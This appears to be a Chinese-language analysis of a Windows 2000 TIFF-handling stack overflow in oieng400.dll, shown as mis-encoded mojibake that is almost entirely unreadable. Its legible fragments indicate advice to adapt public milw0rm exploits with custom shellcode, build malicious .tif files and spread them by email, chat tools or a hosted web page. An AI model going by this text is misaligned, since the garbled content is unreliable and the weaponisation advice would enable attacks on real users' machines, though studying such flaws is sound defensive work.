ÔÙÀ´¿´¿´¸øread£¨£©º¯Êý´«ÈëµÄÈý¸ö²ÎÊýÊÇʲô£¬ÆäÖÐhandleÊÇÒ»¸ö¾ä±ú£¬¾ÍÊÇÇ°ÃæÄǸö»ûÐÎÎļþµÄ¾ä±ú£»bufÊÇÒ»¸öÄÚ´æµØÖ·£¬Ö¸ÏòÁËÕ»¿Õ¼äµÄÒ»¸öÄÚ´æµ¥Ôª£»len=1FE=FF¡Á2¡£½áºÏÇ°ÃæµÄ·ÖÎö£¬Á¬ÆðÀ´¾ÍÊÇ˵£¬ÕâÀïµ÷ÓÃread£¨£©º¯ÊýµÄÄ¿µÄÊÇÒª°ÑÇ°ÃæÄÇ255¸ö2×Ö½ÚÊýֵȫ²¿¸´ÖƵ½ÄÚ²¿Ä³¸ö±äÁ¿ÖС£¶øÇÒÔÚµ÷ÓÃread£¨£©º¯Êý֮ǰ²¢Ã»ÓÐ×öÈκ㤶ÈÉϵļì²é£¬Òò´ËÕâÊÇÒ»¶¨Äܵ¼ÖÂÒç³öµÄ£¬ÒòΪÄÚ²¿±äÁ¿µÄ¿Õ¼äÊÇÓÐÏ޵ģ¬¶øÎļþÖд洢µÄÊýÖµ¸öÊýÈ´ÊDz»È·¶¨µÄ¡£ÎÒÏëµ½´Ë£¬±¾Â©¶´µ¼Öµĸù±¾ÔÒòÒѾÕÒµ½ÁË£¬¾ÍÊÇδ¼ì²éÎļþDEÖ¸¶¨µÄÊýÖµ¸öÊýºÍ³¤¶È¾Í¿ªÊ¼ÍùÄÚ²¿±äÁ¿ÖÐдÈ룬×îÖÕ¸²¸ÇÁËprevious EBPºÍ·µ»ØµØÖ·£¬µ¼Ö·¢ÉúÕ»Òç³ö¡£ÏÂÃæÕâ¸ö½Øͼ¿ÉÒÔ¿´µ½·µ»ØµØÖ·±»¸²¸ÇµÄЧ¹û£º
©¶´ÀûÓÃ?? Õâ¸ö©¶´·Ç³£ÀàËÆÓÚÎÒ½ñÄê5Ô·ÝдµÄµÄÄǸöÑÏÖصÄ΢Èí©¶´¡ª¡ªANIÎļþ´¦Àí©¶´¡£ÕâÀïÓÖ¶àÒ»¸öTIFFÎļþ´¦Àí©¶´£¬¿´À´Í¼Ïñ¸ñʽÎļþµÄ´¦Àí©¶´»¹ÊÇͦ¶àµÄ£¬Ò²Í¦ºÃÍÚ¾òµÄ£¬Ö»ÒªÕÆÎÕÁËÎļþ¸ñʽµÄ¹æ·¶¾Í¿ÉÒÔ¿ªÊ¼fuzzÁË¡£
¶ÔÓÚÕâ¸öTIFFÎļþ´¦Àí©¶´µÄÀûÓ㬷dz£¼òµ¥£¬Äã¿ÉÒÔÓÃmilw0rmÉϹ«²¼µÄµÚÒ»¸öexploit£¬¸Ä½ø×Ô¼ºµÄshellcode£¬È»ºóÓÃvc6±àÒëÉú³É»ûÐεġ¢¶ñÒâµÄtifÎļþ£¬È»ºóͨ¹ýÓʼþ£¬ÁÄÌ칤¾ßµÈÈí¼þ·¢Ë͸øÄ¿±êÓû§£¬Ö»ÒªËûÊÇWin2K²Ù×÷ϵͳ£¬¸Ò´ò¿ªÕâ¸öÎļþËùÔÚµÄĿ¼£¬ÄǾÍÖ±½ÓÖÐÕÐÁË¡£
µ±È»»¹¿ÉÒÔÓñ¾ÎÄÖеÄexploit£¬Ò²¾ÍÊÇmilw0rmÉϹ«²¼µÄµÚ¶þ¸öexploit£¬¸Ä½ø×Ô¼ºµÄshellcode£¬È»ºóÓÃActivePerlÔËÐÐÄǸöperl³ÌÐò£¬¾Í¿ÉÒÔÉú³ÉÒ»¶ÔÎļþ¡ª¡ª»ûÐÎtifÎļþºÍÍøҳľÂí¡£¹ÒÔÚÍøÕ¾ÉÏ£¬µÈWin2KµÄÄ¿±ê»úÆ÷À´ÉϹ³¡£ÈçÏÂͼ£¬ÊÇÎÒÔÚ±¾µØµÄ²âÊÔЧ¹û£º
×ܽá?? »Ø¹Ë±¾Â©¶´µÄÖØÏÖ¹ý³ÌºÍ·ÖÎö¹ý³Ì£¬ÎÒÃÇÊ×ÏÈѧϰÁËTIFFÎļþ¸ñʽµÄһЩ»ù±¾¹æ·¶£¬ÓÉÓÚÀûÓóÌÐòÖÐûÓÐÏêϸµÄ×¢ÊÍΪʲôÄÇÑù¹¹Ôì»ûÐÎÎļþ£¬Òò´ËÎÒÃÇÐèÒªÕÆÎÕÒ»¶¨µÄÎļþ¸ñʽ¹æ·¶¡£½Ó×ÅÎÒÃǽáºÏÀûÓóÌÐò¶ÔÆäÉú³ÉµÄ»ûÐÎtiffÎļþ£¬¸ù¾Ý¸ñʽ¹æ·¶À´·ÖÎö£¬·¢ÏÖÔÚµÚÒ»¸öIFDÖеĵÚ4¸öDEÓÐÒ»¶¨µÄ¿ÉÒÉ£¬¸ÃDEÖ¸¶¨ÁËÊýÖµÀàÐÍΪ16λµÄÎÞ·ûºÅÕûÊý£¬Ò»¹²Ö¸¶¨ÁËÁ¬ÐøµÄFF¸öÕâÑùµÄÊýÖµ¡£×îÖÕͨ¹ý¸ú×Ùµ÷ÊԵķ½·¨£¬¶¨Î»µ½ÁËÕ»Òç³ö·¢ÉúµÄº¯Êý¡ª¡ªread£¨£©º¯Êý£¬ÕâÊÇ΢ÈíϵÄc±ê×¼ÔËÐпâÖеÄÒ»¸öº¯Êý£¬¹¦ÄÜÊÇ´ÓÓÉhandleÖ¸¶¨µÄÎļþÖжÁÈ¡ÓÉcountÖ¸¶¨×Ö½ÚÊýµÄÊý¾Ýµ½buffer¡£¶øÔÚ¶ÔtiffÎļþ×ö´¦ÀíµÄoieng400.dllÎļþÖе÷ÓÃread£¨£©º¯Êýʱ£¬´«ÈëµÄbuffer¾¹È»ÊÇÄÚ²¿±äÁ¿£¬¶øÇÒ´ÓÎļþÖжÁÈ¡²¢Ð´ÈëÕâ¸öÄÚ²¿±äÁ¿Ç°Ã»ÓÐ×öÈκεļì²é²Ù×÷¡£Õâ¾ÍÊǵ¼Ö©¶´·¢ÉúµÄ¸ù±¾ÔÒò¡£